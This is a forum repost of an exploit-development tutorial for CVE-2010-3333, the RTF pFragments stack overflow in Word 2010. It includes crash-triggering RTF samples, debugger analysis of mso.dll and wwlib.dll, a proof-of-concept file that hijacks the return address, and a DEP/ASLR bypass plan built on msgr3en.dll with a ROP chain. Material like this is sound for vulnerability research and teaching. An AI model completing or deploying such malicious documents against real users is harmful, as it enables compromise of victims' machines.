Jump to content
Nytro

Exploiting CVE-2010-3333

Recommended Posts

[h=1]Exploiting CVE-2010-3333[/h]Arun December 20, 2012

CVE 2010-3333 tells us two important things: that this is a stack-based buffer overflow, and that it has something to do with the RTF parser. What it doesn’t tell us is what on Earth we’re looking for. After all, Microsoft’s RTF spec is quite long, and there are too many things for us to fuss about to easily find out what the vulnerability is all about. Fortunately, by going over the relevant Metasploit module, or reading some analysis, we can conclude that the vulnerability lies in the parsing algorithm for the pFragments data array.

You might ask yourself what this post will contribute, given that there’s already a Metasploit module and an analysis out there. Well, the analysis deals with Word 2003, which is really not relevant nowadays (or at least I would hope so), and the Metasploit module uses SEH overwrite to run the payload, which does not work on Word 2010 naturally. We aim to show you how to exploit this vulnerability on Word 2010 running on Windows 7, meaning we’ll have to deal with DEP and ASLR at the very least.

First thing’s first – how do we even trigger the vulnerability? This is what the RTF spec has to say about the pFragments property:

  • Property: pFragments
  • Meaning: Fragments are optional, additional parts to the shape. They allow the shape to contain multiple paths and parts. This property lists the fragments of the shape.
  • Type of value: Array
  • Default: NULL

What’s an “array” you ask? Here’s what the spec has to say about it:

“Arrays are formatted as a sequence of numbers separated by semicolons. The first number tells the size of each element in the array in bytes. The number of bytes per element may be 2, 4, or 8. When the size of the element is 8, each element is represented as a group of two numbers. The second number tells the number of elements in the array.”

An RTF file is really a text file containing formatting instructions (alongside the actual text) that get interpreted by the RTF parser. Naturally, it is bloated. The RTF spec states that, in order to use the pFragments property, we should at least have the following text in our RTF file:

[TABLE]

[TR]

[TD=class: gutter]1

[/TD]

[TD=class: code]{\rtf1{\shp{\sp{\snpFragments}{\sv<s>;;}}}}

[/TD]

[/TR]

[/TABLE]

What comes after “\sv” is an array, comprising the data for the pFragments property. According to the spec, <S> represents the size of each array element, and should be 2, 4 or 8, but it appears that any number can be used. It’s even better if the number is not 2, 4 or 8, as fewer checks are performed in the code. The <N> part tells us the number of elements in the array, but we’ll soon see that other numbers are actually used to calculate the size of the array. <DATA> is the contents of the array, written as a string of hexadecimal digits, where each two characters (digits) represent one byte, and the format of multi-byte values is little-endian. Fun fact: only lowercase letters can be used to represent the hex digits – uppercase letters will be treated as zeros.

Just so you’d be able to keep records, wwlib.dll is at 0x6F870000 and mso.dll is at 0x6D2F0000. The version of both DLLs is 14.0.4734.1000. Let’s have a go at it. Load the following RTF file into an unpatched Word 2010:

[TABLE]

[TR]

[TD=class: gutter]1

[/TD]

[TD=class: code]{\rtf1{\shp{\sp{\snpFragments}{\sv 2;4;41414141414141414141414141414141}}}}

[/TD]

[/TR]

[/TABLE]

Here’s the result:

122012_1356_EXPLOITINGC1.jpg

Run that through the debugger and see where we crashed:

122012_1356_EXPLOITINGC2.jpg

We see that the crash is in mso.dll, when trying to read a value in memory through a corrupted pointer. Say we don’t follow the spec and use 1 instead of 2 as <S>:

[TABLE]

[TR]

[TD=class: gutter]1

[/TD]

[TD=class: code]{\rtf1{\shp{\sp{\snpFragments}{\sv 1;4;41414141414141414141414141414141}}}}

[/TD]

[/TR]

[/TABLE]

Now we get an access violation executing address 0. Now that’s interesting. Let’s take a look at the stack (the blue line represents the current value of ESP):

122012_1356_EXPLOITINGC3.jpg

Nice. We can see our ‘A’s on the stack, alongside many zeros, 4 of them comprising the return address (hence the exception). So yeah, we’ll stick to using 1 as <S>. Observe that the number of consecutive ‘A’s we see on the stack doesn’t correspond exactly to the number of ‘A’s in our data. Let’s try a different, larger sequence of formatted data, so we can see what goes where. This is a mixture of a simple “ABC…” and Metasploit’s pattern_create.rb’s output:

[TABLE]

[TR]

[TD=class: gutter]1

[/TD]

[TD=class: code]{\rtf1{\shp{\sp{\snpFragments}{\sv 1;4;4142434445464748494a4b4c4d4e4f5041613041613141613241613341613441613541613641613741613841613941623041623141623241623341623441623541623641623741623841623941633041}}}}

[/TD]

[/TR]

[/TABLE]

Let’s look at the crash this time:

122012_1356_EXPLOITINGC4.jpg Click to Enlarge

122012_1356_EXPLOITINGC5.jpg

We get another access violation on a memory read. That’s not as good as the null pointer execution exception we had before. We also see that our string is on the stack, without the first 6 letters, ‘A’ to ‘F’. Various parts of our string are also on the stack, in DWORD quantities. We need to dig deeper into this. You can put a breakpoint on Read File just before opening the file and start there. Start right before the exception and try to climb back up, or just be creative. Let’s observe some notable pieces of code.

Call the function in wwlib.dll that lexically parses the RTF file. This will result in calling various other functions to analyze the parsed text:

6FEE7615 E8 9AE1FAFF CALL wwlib.6FE957B4

Decoding <DATA> ends here:

6FEE950F 8B5D F0 MOV EBX,DWORD PTR SS:[EBP-10]

Create a stream on the decoded data:

6FEE9522 FF15 F415676F CALL DWORD PTR DS:[<&ole32.CreateStreamOnHGlobal>; ole32.CreateStreamOnHGlobal

Read the first 6 bytes of the decoded data as 3 words. Then check if word #1 is bigger than word #2 (it’s not, in our case):

122012_1356_EXPLOITINGC6.jpg

The following function call makes an additional check on the data (0x7ffffff / word #3 < word #2? No, in our case), and then computes the value of word #2 * word #3 and returns it:

6D2FA8A6 E8 4C000000 CALL mso.6D2FA8F7

The value of word #2 * word #3 is used as the size for a new memory allocation made by this function call:

6D2FA8A6 E8 4C000000 CALL mso.6D2FA8F7

Our decoded data (excluding the first 6 bytes) is then copied to that new memory allocation.

Ok, so we now know why 6 of our bytes are gone, and what they should be (in general) in order to pass the checks. Where’s the buffer overflow? Why it’s right here:

122012_1356_EXPLOITINGC7.jpg

The function gets a 4-byte local variable as one of its parameters, and copies our entire data to that variable, thereby causing a stack-based buffer overflow. Note that the function we’re in right now is not protected by stack cookies (though there are some stack cookies spread around in other functions). Note the call at 0x6DCE3269 – if it returns 0, we go straight to the function’s epilogue, which is ended by “ret 0×14?.

Check out the stack before running the function that smashes it:

122012_1356_EXPLOITINGC8.jpg

And after running the function:

122012_1356_EXPLOITINGC9.jpg

Ok, so now we need to find a way to quickly get out of our function, so we can use our overwritten return address. We need the function at 0x6DCE30CB to return 0. Let’s look at it:

122012_1356_EXPLOITINGC10.jpg

We get that if a certain value controlled by us is 0, the function will return 0 as well, which is exactly what we want. All we need to do is find that value in our RTF file, and replace it with “00000000.” Don’t forget to reverse the byte order when searching for the value. Here’s our POC RTF file:

[TABLE]

[TR]

[TD=class: gutter]1

[/TD]

[TD=class: code]{\rtf1{\shp{\sp{\snpFragments}{\sv 1;4;0100020000014142434445464748494a41613041613141613241434343433441613541613641613741613841613900000000623141623241623341623441623541623641623741623841623941633041}}}}

[/TD]

[/TR]

[/TABLE]

Notice it uses some minimal values for the first 3 words in: it has “00000000? for the check, and “43434343? to serve as the return address. Note that since this is a “ret 0×14? opcode, the stack pointer will be located right after our zeros when the function returns. Let’s test it:

122012_1356_EXPLOITINGC11.jpg

122012_1356_EXPLOITINGC12.jpg

Unsurprisingly, we get an exception due to DEP. All of Word 2010 is ASLRed, which is really a shame for us, but there’s a DLL that gets loaded after Word 2010 is loaded, and that DLL does not support ASLR. The DLL is msgr3en.dll, and we can use it for our ROP payload. Some will have you believe that since the DLL is loaded only after Word has already finished loading itself, you can only exploit Word by selecting “Open” from the “File” menu (since by then Word has finished loading the DLL), and not by double-clicking the RTF file.

If you create a large enough RTF file, the time it takes Word to load all the pages will be sufficiently long for the DLL to load as well, and so the exploit can use it to bypass DEP. Of course, you need to put your exploit code on the last page.

I’ll let you finish the POC code by yourself. You can simply ask mona.py to generate the ROP chain for you, and get the shellcode from Metasploit. Place them one after the other immediately after the zeros (assuming you use the chain for VirtualProtect/call esp), and put a ROP-NOP as the return address, instead of 0×43434343.

Sursa: InfoSec Institute Resources – Exploiting CVE-2010-3333

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...